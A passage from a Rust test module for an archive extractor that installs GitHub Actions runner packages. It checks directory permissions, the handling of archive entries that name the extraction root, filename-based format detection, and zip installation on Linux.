6423 extract(&fs::read(&archive).unwrap(), kind, &target).expect("extraction");
6424
6425 let mode = fs::metadata(target.join("bin"))
6426 .unwrap()
6427 .permissions()
6428 .mode()
6429 & 0o7777;
6430 assert_eq!(
6431 mode, 0o700,
6432 "{label}: a directory must stay traversable (mode {mode:o})"
6433 );
6434 }
6435 }
6436
6437 #[test]
6438 fn an_entry_naming_the_extraction_root_cannot_touch_it() {
6439 let dir = tempfile::tempdir().expect("a temporary root");
6452 for (label, bytes, kind) in [
6453 (
6454 "tar.gz dot",
6455 tar_gz_special(".", "", 0o777, tar::EntryType::Directory, None),
6456 ArchiveKind::TarGz,
6457 ),
6458 (
6459 "tar.gz dot slash",
6460 tar_gz_special("./", "", 0o777, tar::EntryType::Directory, None),
6461 ArchiveKind::TarGz,
6462 ),
6463 (
6464 "zip dot",
6465 zip_bytes_with_modes(&[("./", "", Some(0o777))]),
6466 ArchiveKind::Zip,
6467 ),
6468 ] {
6469 let archive = dir.path().join(format!("{label}.archive"));
6470 fs::write(&archive, &bytes).unwrap();
6471 let target = dir.path().join(label);
6472 fs::create_dir_all(&target).unwrap();
6473 let marker = target.join("owned-by-this-module");
6474 fs::write(&marker, b"x").unwrap();
6475
6476 extract(&fs::read(&archive).unwrap(), kind, &target).unwrap_or_else(|error| {
6480 panic!("{label}: a root entry is skipped, not fatal: {error}")
6481 });
6482
6483 assert!(
6484 marker.is_file(),
6485 "{label}: the extraction root must be untouched"
6486 );
6487 #[cfg(unix)]
6488 {
6489 use std::os::unix::fs::PermissionsExt as _;
6490 let mode = fs::metadata(&target).unwrap().permissions().mode() & 0o7777;
6491 assert_ne!(
6492 mode, 0o777,
6493 "{label}: the archive must not have set the root's mode"
6494 );
6495 }
6496 }
6497 }
6498
6499 #[test]
6500 fn the_archive_format_comes_from_the_filename_not_from_the_host() {
6501 assert_eq!(
6502 ArchiveKind::split("actions-runner-win-x64-2.330.0.zip")
6503 .unwrap()
6504 .1,
6505 ArchiveKind::Zip
6506 );
6507 assert_eq!(
6508 ArchiveKind::split("actions-runner-linux-x64-2.330.0.tar.gz")
6509 .unwrap()
6510 .1,
6511 ArchiveKind::TarGz
6512 );
6513 assert_eq!(
6514 ArchiveKind::split("actions-runner-linux-x64-2.330.0.TAR.GZ")
6515 .unwrap()
6516 .1,
6517 ArchiveKind::TarGz
6518 );
6519 assert!(ArchiveKind::split("actions-runner-linux-x64-2.330.0.7z").is_err());
6520 }
6521
6522 #[tokio::test]
6523 async fn a_zip_is_extracted_on_a_host_whose_own_packages_are_tarballs() {
6524 let bytes = zip_bytes(&package_entries());
6527 let harness = Harness::new(
6528 vec![published(
6529 "linux",
6530 "x64",
6531 "2.330.0",
6532 ".zip",
6533 Some(&hex_digest(&bytes)),
6534 )],
6535 bytes,
6536 );
6537
6538 let installed = harness.cache().ensure_installed().await.expect("a zip");
6539
6540 assert!(installed.root().join("bin/Runner.Listener").is_file());
6541 }
6542}